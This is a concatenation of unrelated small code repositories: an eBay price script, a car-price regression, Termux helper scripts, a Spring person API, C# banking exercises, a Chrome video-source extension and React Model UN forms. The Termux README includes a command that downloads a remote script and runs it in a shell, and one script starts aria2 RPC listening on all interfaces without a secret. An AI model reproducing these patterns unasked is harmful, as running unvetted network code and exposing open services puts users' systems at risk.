let getPrice = body.findItemsByKeywordsResponse[0].searchResult[0].item[i].sellingStatus[0].currentPrice[0].__value__;
console.log(i+': '+getPrice);
// as long as the listing price isn't at 0 then let's
// add it to the total price
if(getPrice > 0){
let add = parseFloat(getPrice);
price = price + add;
}
// increase item counter
itemCount++;
} catch (err) {
// let us know if it didn't find a price
console.log(i+': no price found');
}
}
// divide the summed up price the the items added
let avgPrice = price/itemCount;
// show us the price
console.log(avgPrice);
callback(null, avgPrice);
});
}
getPrice(options, function(err, body){
if (err) { console.log(err)}
else { console.log(body)}
});
module.exports = app;<file_sep>/README.md
# ebayData
clone the repository and npm install
app.js contains the code so far
change the keywords variable for the request to anything to search for the top 100 prices and get an average
| 3bf33cd09b9e78d1fe6142bfb06580879706a397 | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | njsoria/ebayData | c7d3179fea1fbb574e69af03bcc557375c7638c6 | 61d60c3c73b3e3be4a6c1411a424c3fb930c302e |
refs/heads/master | <repo_name>dineshyuwa/Predicting_Price_Of_Car<file_sep>/RealLifeExample.py
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import seaborn as sns
from statsmodels.stats.outliers_influence import variance_inflation_factor
from sklearn.preprocessing import StandardScaler
from sklearn.model_selection import train_test_split
from sklearn.linear_model import LinearRegression
data=pd.read_csv("1.04. Real-life example.csv")
print(data.head())
print(data.describe(include="all"))
data=data.drop(["Model"],axis=1)#since more unique categorical variable in model
print("")
print(data.describe(include="all"))
print(data.isnull().sum())
data=data.dropna(axis=0)#deleting all the null variable rows
print(data.describe(include="all"))
sns.distplot(data["Price"])
print(plt.show())
q=data["Price"].quantile(0.99)
data=data[data["Price"]<q]#removing the outliers in price
# sns.distplot(data["Price"])
# print(plt.show())
# sns.distplot(data["Year"])
# print(plt.show())
q1=data["Year"].quantile(0.01)
data=data[data["Year"]>q1]#removing the out,iers in year
print(data.describe())
# sns.distplot(data["Mileage"])
# print(plt.show())
q2=data["Mileage"].quantile(0.99)
data=data[data["Mileage"]<q2]#removing the outliers in mileage
print(data.describe())
# sns.distplot(data["EngineV"])
# print(plt.show())
data=data[data["EngineV"]<6.5]#removinh the engine value which is not suitable
# sns.distplot(data["EngineV"])
# print(plt.show())
data=data.reset_index(drop=True)
print(data.describe(include="all"))
f, (ax1,ax2,ax3)=plt.subplots(1,3,sharey=True,figsize=(15,3))
ax1.scatter(data['Year'],data['Price'])
ax1.set_title('Price and Year')
ax2.scatter(data['EngineV'],data['Price'])
ax2.set_title('Price and EngineV')
ax3.scatter(data['Mileage'],data['Price'])
ax3.set_title('Price and Mileage')
print(plt.show())#not normal distribution
log_price=np.log(data["Price"])
data["logPrice"]=log_price
print(data.describe())
f, (ax1,ax2,ax3)=plt.subplots(1,3,sharey=True,figsize=(15,3))
ax1.scatter(data['Year'],data['logPrice'])
ax1.set_title('Log_Price and Year')
ax2.scatter(data['EngineV'],data['logPrice'])
ax2.set_title('Log_Price and EngineV')
ax3.scatter(data['Mileage'],data['logPrice'])
ax3.set_title('Log_Price and Mileage')
print(plt.show())
data=data.drop(["Price"],axis=1)
print(data.describe())
variables=data[["Mileage","Year","EngineV"]]
vif=pd.DataFrame()
vif["VIF"]=[variance_inflation_factor(variables.values,i) for i in range (variables.shape[1])]
vif["features"]=variables.columns
print(vif)
data=data.drop(["Year"],axis=1)
data_with_dummies=pd.get_dummies(data=data,drop_first=True)
print(data_with_dummies.head())
print(data_with_dummies.columns.values)
cols=['logPrice','Mileage','EngineV', 'Brand_BMW','Brand_Mercedes-Benz',
'Brand_Mitsubishi','Brand_Renault','Brand_Toyota','Brand_Volkswagen',
'Body_hatch','Body_other','Body_sedan','Body_vagon','Body_van',
'Engine Type_Gas','Engine Type_Other','Engine Type_Petrol',
'Registration_yes']
data_pre_processed=data_with_dummies[cols]
print(data_pre_processed.head())
target=data_pre_processed["logPrice"]
inputs=data_pre_processed.drop(["logPrice"],axis=1)
scaler=StandardScaler()
scaler.fit(inputs)
scaled_inputs=scaler.transform(inputs)
x_train,x_test,y_train,y_test=train_test_split(scaled_inputs,target,test_size=0.2,random_state=365)
regression=LinearRegression()
regression.fit(x_train,y_train)
y_hat=regression.predict(x_train)
plt.scatter(y_train,y_hat)
plt.xlabel("y_train")
plt.ylabel("y_hat")
plt.xlim(6,13)
plt.ylim(6,13)
print(plt.show())
sns.distplot(y_train-y_hat)
print(plt.show())
r2=regression.score(x_train,y_train)
print(r2)
coefficient=regression.coef_
intercept=regression.intercept_
reg_summary=pd.DataFrame(inputs.columns.values,columns=["Features"])
reg_summary["Weights"]=coefficient
print(reg_summary)
y_test=y_test.reset_index(drop=True)
y_hat_test=regression.predict(x_test)
prediction_comparison=pd.DataFrame(np.exp(y_hat_test),columns=["Predictions"])
prediction_comparison["Targets"]=np.exp(y_test)
prediction_comparison["Residuals"]=prediction_comparison["Predictions"]-prediction_comparison["Targets"]
prediction_comparison["Difference%"]=np.abs(prediction_comparison["Residuals"]/prediction_comparison["Targets"])*100
print(prediction_comparison)
| 54c1ccd42183976d358bc3acd52044bbf6d55f4d | [
"Python"
] | 1 | Python | dineshyuwa/Predicting_Price_Of_Car | 163d1e3d52590bca070f1db33bdfa3f8922fe9af | f663b4d2dcd635167efdd3900f82d395a8a64b5c |
refs/heads/master | <file_sep>#!/data/data/com.termux/files/usr/bin/bash
nohup aria2c --enable-rpc --rpc-listen-all &
echo -e "\033[31maria2服务已在后台运行\033[0m"
if [ -d "$HOME/webui-aria2" ] ; then
cd ~/webui-aria2
nohup node node-server.js &
echo -e "\033[31maria2面板已在后台运行\033[0m"
echo -e "\033[31m请用chrome浏览器打开,localhost:8888\033[0m"
cd ~
bash zs.sh
else
cd ~
echo -e "\033[31m正在安装aria2面板\033[0m"
git clone https://github.com/ziahamza/webui-aria2.git
cd webui-aria2
nohup node node-server.js &
echo -e "\033[31maria2面板已在后台运行\033[0m"
echo -e "\033[31m请用chrome浏览器打开,localhost:8888\033[0m"
cd ~
bash zs.sh
fi
exit
<file_sep># zstermux
一个termux一键脚本,一键安装运行各种好玩的,UnblockNeteaseMusic,aria2等等。
安装脚本:
```
pkg install git
sh -c "$(curl -fsSL https://raw.githubusercontent.com/zsxwz/zstermux/master/install.sh)"
```
执行脚本:
```
sh zs.sh
```
结束进程
```
ps
kill pid
```
预览图:

<file_sep>#!/data/data/com.termux/files/usr/bin/bash
if [ -d "$HOME/BaiduPCS-Go" ] ; then
cd ~/BaiduPCS-Go
./BaiduPCS-Go
else
cd ~
wget -O 1.zip https://github.com/iikira/BaiduPCS-Go/releases/download/v3.5.6/BaiduPCS-Go-v3.5.6-android-21-arm64.zip
unzip 1.zip && rm 1.zip
mv BaiduPCS-Go-v3.5.6-android-21-arm64 BaiduPCS-Go
cd ~/BaiduPCS-Go
./BaiduPCS-Go
fi
exit
| 44e63b8932daca4df0c47f9d47990945f0bce77d | [
"Markdown",
"Shell"
] | 3 | Shell | weichefool/zstermux | 67930c84d132446ba2a65c589e14df1470c048c9 | acb5fef3efa38186ae47216d2391397cbda73467 |
refs/heads/main | <file_sep>CREATE SEQUENCE public.pessoa_idpessoa_seq
INCREMENT 1
MINVALUE 1
MAXVALUE 9223372036854775807
START 1
CACHE 1;
CREATE TABLE public.pessoa
(
idpessoa bigint NOT NULL DEFAULT nextval('pessoa_idpessoa_seq'::regclass),
nome character varying(80) NOT NULL,
sexo character varying(9),
email character varying(80),
dtnascimento date NOT NULL,
naturalidade character varying(40),
nacionalidade character varying(40),
cpf character varying(11),
dtcadastro timestamp without time zone,
dtatualizacao timestamp without time zone,
CONSTRAINT pessoa_pkey PRIMARY KEY (idpessoa),
CONSTRAINT pessoa_ukey UNIQUE (cpf)
);<file_sep>package br.com.cadpessoa.api.repository;
import br.com.cadpessoa.api.model.Pessoa;
import org.springframework.data.jpa.repository.JpaRepository;
import java.util.List;
public interface PessoaRepository extends JpaRepository<Pessoa, Long> {
public Pessoa findByCpf(String cpf);
public List<Pessoa> findAllByOrderByDtcadastro();
}
<file_sep>FROM openjdk:8u191-jdk-alpine
ADD target/CadPessoa-0.0.1-SNAPSHOT.jar CadPessoa-0.0.1-SNAPSHOT.jar
ENTRYPOINT java -jar CadPessoa-0.0.1-SNAPSHOT.jar
EXPOSE 8080
<file_sep>package br.com.cadpessoa.api.resource;
import br.com.cadpessoa.api.exceptionhandler.ValidaErro;
import br.com.cadpessoa.api.model.Pessoa;
import br.com.cadpessoa.api.service.PessoaService;
import org.springframework.beans.BeanUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
import javax.validation.Valid;
import java.util.List;
import static java.util.Objects.isNull;
@RestController
@RequestMapping("/pessoas")
public class PessoaResource {
@Autowired
private PessoaService pessoaService;
@Autowired
private ValidaErro validaErro;
@GetMapping
public ResponseEntity<?> listarPessoas(){
List<Pessoa> pessoas = pessoaService.findAll();
return pessoas.isEmpty() ? ResponseEntity.notFound().build() : ResponseEntity.ok(pessoas);
}
@PostMapping
public ResponseEntity<Pessoa> savePessoa(@Valid @RequestBody Pessoa pessoa){
validacoes(pessoa);
Pessoa pessoaSalva = pessoaService.save(pessoa);
return ResponseEntity.ok(pessoaSalva);
}
@GetMapping("/{idpessoa}")
public ResponseEntity<Pessoa> findIdPessoa(@PathVariable Long idpessoa){
Pessoa pessoaFind = pessoaService.findOne(idpessoa);
return isNull(pessoaFind) ? ResponseEntity.notFound().build() : ResponseEntity.ok(pessoaFind);
}
@PutMapping("/{idpessoa}")
public ResponseEntity<Pessoa> refreshPessoa(@PathVariable Long idpessoa, @Valid @RequestBody Pessoa pessoa){
validacoes(pessoa);
Pessoa pessoaSalva = pessoaService.findOne(idpessoa);
BeanUtils.copyProperties(pessoa, pessoaSalva, "idpessoa");
return ResponseEntity.ok(pessoaService.save(pessoaSalva));
}
@DeleteMapping("/{idpessoa}")
@ResponseStatus(HttpStatus.NO_CONTENT)
public void deletePessoa(@PathVariable Long idpessoa){
pessoaService.delete(idpessoa);
}
public void validacoes(Pessoa pessoa){
if (pessoaService.cpfExists(pessoa)){
validaErro.addErro("cpf.duplicado", "CPF já existe no banco de dados.");
}
validaErro.trataErros();
}
}
<file_sep>package br.com.cadpessoa.api.exceptionhandler;
import java.util.List;
public class CadPessoaException extends RuntimeException{
/**
*
*/
private static final long serialVersionUID = 1L;
private ValidaErro validaErro;
public CadPessoaException(ValidaErro validaErro) {
this.validaErro = validaErro;
}
public List<Erro> getValidaErro() {
return validaErro.getErros();
}
public void limparErros(){
validaErro.limparErros();
}
}
<file_sep>package br.com.cadpessoa.api.service;
import br.com.cadpessoa.api.model.Pessoa;
import br.com.cadpessoa.api.repository.PessoaRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
import static java.util.Objects.isNull;
@Service
public class PessoaService {
@Autowired
private PessoaRepository pessoaRepository;
public List<Pessoa> findAll(){
return pessoaRepository.findAllByOrderByDtcadastro();
}
public Pessoa findOne(Long idpessoa){
return pessoaRepository.findOne(idpessoa);
}
public Pessoa save(Pessoa pessoa){
return pessoaRepository.save(pessoa);
}
public void delete(Long idpessoa){
pessoaRepository.delete(idpessoa);
}
public boolean cpfExists(Pessoa pessoa) {
if (isNull(pessoa.getIdpessoa())){
if (isNull(pessoaRepository.findByCpf(pessoa.getCpf()))){
return false;
}
} else {
Pessoa pessoaCadastro = pessoaRepository.findByCpf(pessoa.getCpf());
if (isNull(pessoaCadastro)){
return false;
} else {
if (pessoaCadastro.getIdpessoa() == pessoa.getIdpessoa()){
return false;
}
}
}
return true;
}
}
<file_sep># softplayer
Seleção Dev Java
| c36d44c2766fe856ac7f51d6cf0c4637fbabf948 | [
"Java",
"SQL",
"Dockerfile",
"Markdown"
] | 7 | SQL | joserobertobbezerrajnr/softplayer | 60d0ce5e816cb5e0ed7f41150da88214d619ea78 | d287e3f0cec7867516721c323315ea6e1caf1d3d |
refs/heads/master | <repo_name>ab33/r5<file_sep>/cs.js
/* HTML5 videos revealer. <<EMAIL>> */
chrome.extension.onRequest.addListener(
function(req, sender, sendResponse) {
var response = '{result:' + decorate() + '}';
sendResponse(response);
}
);
function decorate() {
var digged = 0;
var videos = document.getElementsByTagName('video');
for(var i = 0; i < videos.length; i++) {
var sources = new Array();
var nodes = videos[i].childNodes;
for(var n = 0; n < nodes.length; n++) {
if (nodes[n].tagName == 'SOURCE') {
var o = new Object();
o.url = nodes[n].src;
o.mime = nodes[n].type == 'undefined' || !nodes[n].type.length ? '' : nodes[n].type;
if (o.mime.length > 16) o.mime = o.mime.substring(0, 16) + '...';
var loc = document.createElement('a');
loc.href = o.url;
var ext = loc.pathname.split('.').pop();
o.ext = (ext.length > 0 && ext.length < 6) ? ext : '';
sources.push(o);
}
}
if (!sources.length && videos[i].src != '') {
var o = new Object();
o.url = videos[i].src;
o.mime = ''; // mo MIME for <video src=".. ???
var loc = document.createElement('a');
loc.href = o.url;
var ext = loc.pathname.split('.').pop();
o.ext = (ext.length > 0 && ext.length < 6) ? ext : '';
sources.push(o);
}
if (sources.length) {
var left = videos[i].offsetLeft;
var top = videos[i].offsetTop;
var prev_off = videos[i].offsetParent ? videos[i].offsetParent : videos[i].parentElement;
while (prev_off) {
left += prev_off.offsetLeft;
top += prev_off.offsetTop;
prev_off = prev_off.offsetParent;
}
if (top <= 0) top = 5 + (i * 70);
var id_name = 'x-reveal5-video-';
var id_str = id_name + i;
var id_elem = document.getElementById(id_str);
if (!id_elem) {
var x = null;
var y = '';
if (i) {
var prev_str = id_name + (i - 1);
var prev_elem = document.getElementById(id_str);
x = document.getElementById(prev_str);
y = 'afterend';
} else {
x = document.getElementsByTagName('body')[0];
y = 'afterbegin';
}
x.insertAdjacentHTML(y,
'<div id="' + id_str + '" '
+ 'style="border: solid 2px #000000; margin: 2px; background-color: #ffffaa; '
+ 'font-size: 12px; font-family: arial; '
+ 'color: #000000; padding: 5px; text-align: left; '
+ 'position: absolute; top: ' + top + 'px; left: ' + left + 'px; height: 50px; z-index: 9999;"'
+ '></div>');
id_elem = document.getElementById(id_str);
}
var line = "";
line += '<div>';
line += '<span style="float: right; margin: 0px 3px 0px 6px;"><b> [<a href="javascript:void();" onclick="javascript:document.getElementById(\'' + id_str + '\').style.display = \'none\';" style="font-weight: bold; color: #000000;">x</a>] </b></span>';
line += '<span style="color: #cccccc; font-size: 20px; font-weight: bold; float: left; padding: 0px 10px 0px 0px; margin: 0px 0px 0px 3px;">HTML5 Video</span>';
for(var n = 0; n < sources.length; n++) {
line += '<span style="float: left; border: solid 1px #aaaaaa; padding: 5px 10px 2px 5px; background-color: #ffffcc; margin: 0px 5px 0px 0px;">'
line += '<span><a href="' + sources[n].url + '" style="font-weight: bold; color: #000000;">Source ' + (n + 1) + '</a></span>';
if (o.ext.length) line += '<span style="font-size: 9px; color: #999999;"> (.' + sources[n].ext + ')</span>';
line += '<br>';
line += sources[n].mime.length ? '<span style="font-size: 9px; color: #999999;">MIME: "' + sources[n].mime + '"</span>' : ' ';
line += '</span>';
}
line += '</div>';
id_elem.innerHTML = line;
id_elem.style.display = 'block';
digged++;
}
}
return digged;
}
| c194acbef5eb6adbbcd99e7694cbdf920ca0c919 | [
"JavaScript"
] | 1 | JavaScript | ab33/r5 | 2d2e424ddb073b0912021591837720bfb31173aa | 8a314113672a24bec4d6db3cd4253edd20038651 |
refs/heads/master | <file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace _04_ByteBank
{
class Program
{
static void Main(string[] args)
{
ContaCorrente contaDoVitor = new ContaCorrente();
contaDoVitor.titular = "<NAME>";
contaDoVitor.saldo = 5000;
bool resultadoSaque = contaDoVitor.Sacar(50);
contaDoVitor.Depositar(600);
Console.WriteLine(contaDoVitor.saldo);
Console.WriteLine(resultadoSaque);
ContaCorrente contaDaBrunna = new ContaCorrente();
contaDaBrunna.titular = "<NAME>";
contaDaBrunna.saldo = 10000;
contaDaBrunna.Transferir(4000, contaDoVitor);
Console.WriteLine(contaDoVitor.saldo);
Console.ReadLine();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace _01_ByteBank
{
class Program
{
static void Main(string[] args)
{
ContaCorrente contaDaBrunna = new ContaCorrente();
contaDaBrunna.titular = "<NAME>";
contaDaBrunna.agencia = 99765;
contaDaBrunna.numero = 549134;
contaDaBrunna.saldo = 4890.85;
Console.WriteLine(contaDaBrunna.titular);
Console.WriteLine(contaDaBrunna.agencia);
Console.WriteLine(contaDaBrunna.numero);
Console.WriteLine(contaDaBrunna.saldo);
contaDaBrunna.saldo += 5000;
Console.ReadLine();
}
}
}
<file_sep>using System;
namespace _07_ByteBank
{
public class ContaCorrente
{
//Propriedades da classe Conta Corrente
public Cliente Titular { get; set; }
public static double TaxaDeOperacao { get; private set; }
public static int TotalDeContasCriadas { get; private set; }
public int Agencia{ get; }
public int Numero { get; }
private double _saldo;
public double Saldo
{
get
{
return _saldo;
}
set
{
if (value < 0)
{
return;
}
_saldo = value;
}
}
//Construtor da classe conta corrente
public ContaCorrente(int agencia, int numero)
{
//Exceções
if(agencia <= 0 )
{
ArgumentException excecao = new ArgumentException("A agência deve ser maior que 0.", nameof(agencia));
throw excecao;
}
if (numero <= 0)
{
ArgumentException excecao = new ArgumentException("O número da conta deve ser maior que 0.", nameof(numero));
throw excecao;
}
//Propriedades do construtor da classe conta corrente
Agencia = agencia;
Numero = numero;
//métodos da classe conta corrente
TaxaDeOperacao = 30 / TotalDeContasCriadas;
TotalDeContasCriadas++;
}
//Funções da classe conta corrente
public bool Sacar(double valor)
{
if (_saldo < valor)
{
return false;
}
_saldo -= valor;
return true;
}
public void Depositar(double valor)
{
_saldo += valor;
}
public bool Transferir(double valor, ContaCorrente contaDeDestino)
{
if (_saldo < valor)
{
return false;
}
_saldo -= valor;
contaDeDestino.Depositar(valor);
return true;
}
}
}<file_sep>using System;
namespace _07_ByteBank
{
class Program
{
static void Main(string[] args)
{
try
{
ContaCorrente contaTeste = new ContaCorrente(0, 0);
}
catch (ArgumentException e)
{
Console.WriteLine(e.Message);
Console.WriteLine(e.ParamName);
}
Console.ReadLine();
}
}
}
| f85e1c49bf2732925a0884db7dedcae02e838eb3 | [
"C#"
] | 4 | C# | BrunnaMaiaradaSilva/ByteBank | 6c4b95f5b8ea1e8f9d54ec9a5621e1a007513530 | 0152e0b5e06b4e284bba1a62765bfa90c8af3bf9 |
refs/heads/master | <repo_name>MrTriskin/UMUNC_setup-infomag<file_sep>/umunc/src/components/SelectFieldMultiSelect.js
import React, {Component} from 'react';
import SelectField from 'material-ui/SelectField';
import MenuItem from 'material-ui/MenuItem';
/**
* `SelectField` can handle multiple selections. It is enabled with the `multiple` property.
*/
export default (input, hint: string) => class SelectFieldMultiSelect extends Component {
state = {
values: [],
};
handleChange = (event, index, values) => this.setState({values});
menuItems(values) {
return input.map((name) => (
<MenuItem
key={name}
insetChildren={true}
checked={values && values.indexOf(name) > -1}
value={name}
primaryText={name}
/>
));
}
render() {
const {values} = this.state;
return (
<SelectField
multiple={false}
hintText={hint}
value={values}
onChange={this.handleChange}
>
{this.menuItems(values)}
</SelectField>
);
}
}
<file_sep>/umunc/src/profile/TextFieldInfo.js
import React from 'react';
import TextInput from '../components/TextInput';
import SelectFieldNullable from './SelectFieldNullable';
import MuiThemeProvider from 'material-ui/styles/MuiThemeProvider';
import SelectFieldMultiSelect from '../components/SelectFieldMultiSelect';
import RaisedButton from 'material-ui/RaisedButton';
const prov = [
'上海市',
'江苏省',
'浙江省',
'安徽省',
'北京市',
'天津市',
'广东省',
'河北省',
'河南省',
'山东省',
'湖北省',
'湖南省',
'江西省',
'福建省',
'四川省',
'重庆市',
'广西省',
'山西省',
'辽宁省',
'吉林省',
'黑龙江省',
'贵州省',
'陕西省',
'云南省',
'内蒙古省',
'甘肃省',
'青海省',
'宁夏省',
'新疆省',
'海南省',
'西藏省',
'香港',
'澳门',
'台湾',
];
const grade = [
'初中',
'高一',
'高二',
'高三',
'大学',
];
const SelectProvince = SelectFieldMultiSelect(prov,"学校所在省份 Province");
const SelectGrade = SelectFieldMultiSelect(grade,"年级 Grade");
const TextFieldInfo = () => (
<MuiThemeProvider>
<div style={{width: 600, margin: 'auto'}}>
<div style = {{display:'flex', justifyContent: 'space-between'}}>
<h2 style = {{textAlign : 'left', margin: 5}}>
代表信息填报
</h2>
<RaisedButton
label = "Save"
backgroundColor = '#2196F3'
style = {{margin:5}}/>
</div>
<hr />
<p style = {{textAlign : 'left'}}>
请按照要求尽可能全面地填写您的个人信息,您的信息可以多次保存,直到您点击提交。
</p>
<TextInput
hintText="姓名 Name"
name = "string"
/>
<br />
<SelectFieldNullable />
<TextInput
hintText="年龄 Age"
name = "num"
/>
<br />
<TextInput
hintText="身份证(或护照)号码 ID"
name="cid"
/><br />
<SelectGrade />
<br />
<TextInput
hintText="在读学校 School"
/><br />
<SelectProvince/>
<br />
<hr/>
<p style = {{textAlign : 'left'}}>
联系方式 Contact
</p>
<TextInput
hintText="Email"
/><br />
<TextInput
hintText="手机 Mobile Phone"
name="tel"
/><br />
<TextInput
hintText="QQ"
name = "num"
/><br />
<TextInput
hintText="微信 Wechat"
/><br />
<hr/>
<p style = {{textAlign : 'left'}}>
Emergency Contact (注意:该项内容用于为代表购买会议期间内的保险 请如实填写)
</p>
<TextInput
hintText="监护人姓名 Name of Guardian"
name = "string"
/><br />
<TextInput
hintText="监护人手机 Mobile of Guardian"
name = "tel"
/><br />
</div>
</MuiThemeProvider>
);
export default TextFieldInfo;
<file_sep>/umunc/src/dashboard/info/ChangePw.js
import React, { Component } from 'react';
import { Form, Input, Button } from 'antd';
import axios from 'axios';
const FormItem = Form.Item;
class RegistrationForm extends React.Component {
handleSubmit = (e) => {
e.preventDefault();
this.props.form.validateFieldsAndScroll((err, values) => {
if (!err) {
axios.post('/changePassword',{
oldPassword: values.oldpassword,
newPassword: values.password,
})
.then(function(res){
res.data.err?alert('修改密码失败,因为'+res.data.msg):alert('密码修改成功!');
})
}
});
}
checkPassword = (rule, value, callback) => {
const form = this.props.form;
if (value && value !== form.getFieldValue('password')) {
callback('Two passwords that you enter is inconsistent!');
} else {
callback();
}
}
render() {
const { getFieldDecorator } = this.props.form;
const formItemLayout = {
labelCol: {
xs: { span: 24 },
sm: { span: 6 },
},
wrapperCol: {
xs: { span: 24 },
sm: { span: 14 },
},
};
const tailFormItemLayout = {
wrapperCol: {
xs: {
span: 24,
offset: 0,
},
sm: {
span: 14,
offset: 6,
},
},
};
return (
<Form onSubmit={this.handleSubmit}>
<FormItem
{...formItemLayout}
label="旧密码"
hasFeedback
>
{getFieldDecorator('oldpassword', {
rules: [{
required: true, message: 'Please input your old password!'}
],
})(
<Input type="password"/>
)}
</FormItem>
<FormItem
{...formItemLayout}
label="新密码"
hasFeedback
>
{getFieldDecorator('password', {
rules: [{
required: true, message: 'Please input your password!',
},{
min: 8, message: 'Passwords too short!',
},{
max: 16, message: 'Passwords too long!',
}],
})(
<Input type="password" />
)}
</FormItem>
<FormItem
{...formItemLayout}
label="再次确认新密码"
hasFeedback
>
{getFieldDecorator('confirm', {
rules: [{
required: true, message: 'Please confirm your password!',
}, {
validator: this.checkPassword,
},{
min: 8, message: 'Passwords too short!',
},{
max: 16, message: 'Passwords too long!',
}],
})(
<Input type="password" />
)}
</FormItem>
<FormItem {...tailFormItemLayout}>
<Button type="primary" htmlType="submit" style={{width:'100%'}}>更改密码</Button>
</FormItem>
</Form>
);
}
}
const ChangePw = Form.create()(RegistrationForm);
export default ChangePw;
<file_sep>/umunc/src/dashboard/add/DinamicC.js
import React, { Component } from 'react';
import { Form, Input, Icon, Button, Switch, Select } from 'antd';
import axios from 'axios';
const Option = Select.Option;
const FormItem = Form.Item;
const children_c = ['Zhejiang', 'Jiangsu'];
const seats ={
Zhejiang: ['Hangzhou', 'Ningbo', 'Wenzhou'].map(seat => <Option key={seat}>{seat}</Option>),
Jiangsu: ['Nanjing', 'Suzhou', 'Zhenjiang'].map(seat => <Option key={seat}>{seat}</Option>),
};
var seats_c=[];
let uuid = 0;
class DynamicFieldSet extends React.Component {
state = {
seat: children_c[0],
committee:[],
main_seats:seats
}
handleCommitteeChange = (value) => {
this.setState({
seat: value
})
}
remove = (k) => {
const { form } = this.props;
// can use data-binding to get
const keys = form.getFieldValue('keys');
// We need at least one passenger
if (keys.length === 1) {
return;
}
// can use data-binding to set
form.setFieldsValue({
keys: keys.filter(key => key !== k),
});
}
add = () => {
uuid++;
const { form } = this.props;
// can use data-binding to get
const keys = form.getFieldValue('keys');
const nextKeys = keys.concat(uuid);
// can use data-binding to set
// important! notify form to detect changes
form.setFieldsValue({
keys: nextKeys,
});
}
pushSeat = (key) => {
this.props.form.validateFields((err,values) => {
if (!err) {
seats_c.push(values[`seat${key}`])
}
})
}
handleSubmit = (e) => {
e.preventDefault();
this.props.form.validateFields((err, values) => {
values.keys.map(this.pushSeat);
if (!err) {
axios.post('/committeeAdd/2',{
committee:values.committee,
mainSeat:values.mainSeat,
seat:seats_c,
})
.then((function(res){
alert(res.data.msg);
seats_c = [];
}).bind(this))
.catch(function(err){
console.log(err);
});
console.log('Received values of form: ', values);
}
});
}
componentDidMount() {
axios.get("/committeeInfo")
.then(res => {
for (var i = 0; i < res.data.length; i++) {
children_c.push(res.data[i].committeeName)
}
this.setState({committee:children_c.map(committee => <Option key={committee}>{committee}</Option>)})
})
axios.get("/committeeAdd/2")
.then(res => {
var x
for (x in res.data) {
seats[x] = (res.data[x].map(seat => <Option key={seat}>{seat}</Option>))
}
this.setState({main_seats:seats})
console.log(this.state.main_seats)
})
}
render() {
const { getFieldDecorator, getFieldValue } = this.props.form;
const formItemLayout = {
labelCol: {
xs: { span: 24 },
sm: { span: 4 },
},
wrapperCol: {
xs: { span: 24 },
sm: { span: 20 },
},
};
const formItemLayoutWithOutLabel = {
wrapperCol: {
xs: { span: 24, offset: 0 },
sm: { span: 20, offset: 4 },
},
};
getFieldDecorator('keys', { initialValue: [] });
const keys = getFieldValue('keys');
const formItems = keys.map((k, index) => {
return (
<FormItem
{...(index === 0 ? formItemLayout : formItemLayoutWithOutLabel)}
label={index === 0 ? '添加子席位' : ''}
required={false}
key={k}
>
{getFieldDecorator(`seat${k}`, {
validateTrigger: ['onChange', 'onBlur'],
rules: [{
required: true,
whitespace: true,
message: "请填写席位!",
}],
})(
<Input style={{ width: '60%', marginRight: 8 }} />
)}
{keys.length > 1 ? (
<Icon
type="minus-circle-o"
disabled={keys.length === 1}
onClick={() => this.remove(k)}
/>
) : null}
</FormItem>
);
});
return (
<div>
<Form onSubmit={this.handleSubmit}>
<FormItem
{...formItemLayout}
label="委员会">
{getFieldDecorator('committee', {
rules:[{required:true, message:'请选择委员会!'}],
})(
<Select onChange={this.handleCommitteeChange} style={{width:'60%'}}>
{this.state.committee}
</Select>
)}
</FormItem>
<FormItem
{...formItemLayout}
label="主席位">
{getFieldDecorator('mainSeat', {
rules:[{required:true, message:'请选择主席位!'}],
})(
<Select style={{width:'60%'}}>
{this.state.main_seats[this.state.seat]}
</Select>
)}
</FormItem>
{formItems}
<FormItem {...formItemLayout}>
<Button type="dashed" onClick={this.add} style={{ width: '60%', marginLeft:'20%' }}>
<Icon type="plus" /> Add field
</Button>
</FormItem>
<FormItem {...formItemLayout}>
<Button type="primary" htmlType="submit" style={{width:'60%', marginLeft:'20%'}}>Submit</Button>
</FormItem>
</Form>
<div style={{ background: '#ECECEC', height:1 }}/>
</div>
);
}
}
const DinamicC = Form.create()(DynamicFieldSet);
export default DinamicC;
<file_sep>/umunc/src/profile/ForDelegate.js
import React, { Component } from 'react';
import BackGroundImage from '../image/urban-night-blur.jpg';
import { Form, Input, Tooltip, Icon, Cascader, Select, Row, Col, Checkbox, Button, AutoComplete, Radio, InputNumber} from 'antd';
import axios from 'axios';
const FormItem = Form.Item;
const Option = Select.Option;
const RadioGroup = Radio.Group;
const AutoCompleteOption = AutoComplete.Option;
const gender = [{
value: 'female',
label: '女',
},{
value: 'male',
label: '男',
}];
const FirstProv = [{
value: '委员会',
label: '委员会',
},{
value: '第二个委员会',
label: '第二个委员会',
},{
value: '第三个',
label: '第三个',
},{
value: '四啊',
label: '四啊',
},{
value: '这是第五个',
label: '这是第五个',
},{
value: '我也不知道有几个委员会',
label: '我也不知道有几个委员会',
}]
const SecondProv = [{
value: '委员会',
label: '委员会',
},{
value: '第二个委员会',
label: '第二个委员会',
},{
value: '第三个',
label: '第三个',
},{
value: '四啊',
label: '四啊',
},{
value: '这是第五个',
label: '这是第五个',
},{
value: '我也不知道有几个委员会',
label: '我也不知道有几个委员会',
}]
const prov = [{
value: '香港',
label: '香港',
},{
value: '澳门',
label: '澳门',
},{
value: '西藏',
label: '西藏',
},{
value: '海南',
label: '海南',
},{
value: '新疆',
label: '新疆',
},{
value: '宁夏',
label: '宁夏',
},{
value: '青海',
label: '青海',
},{
value: '甘肃',
label: '甘肃',
},{
value: '内蒙古',
label: '内蒙古',
},{
value: '云南',
label: '云南',
},{
value: '陕西',
label: '陕西',
},{
value: '贵州',
label: '贵州',
},{
value: '黑龙江',
label: '黑龙江',
},{
value: '吉林',
label: '吉林',
},{
value: '辽宁',
label: '辽宁',
},{
value: '山西',
label: '山西',
},{
value: '广西',
label: '广西',
},{
value: '重庆',
label: '重庆',
},{
value: '四川',
label: '四川',
},{
value: '福建',
label: '福建',
},{
value: '江西',
label: '江西',
},{
value: '湖南',
label: '湖南',
},{
value: '湖北',
label: '湖北',
},{
value: '河南',
label: '河南',
},{
value: '山东',
label: '山东',
},{
value: '河北',
label: '河北',
},{
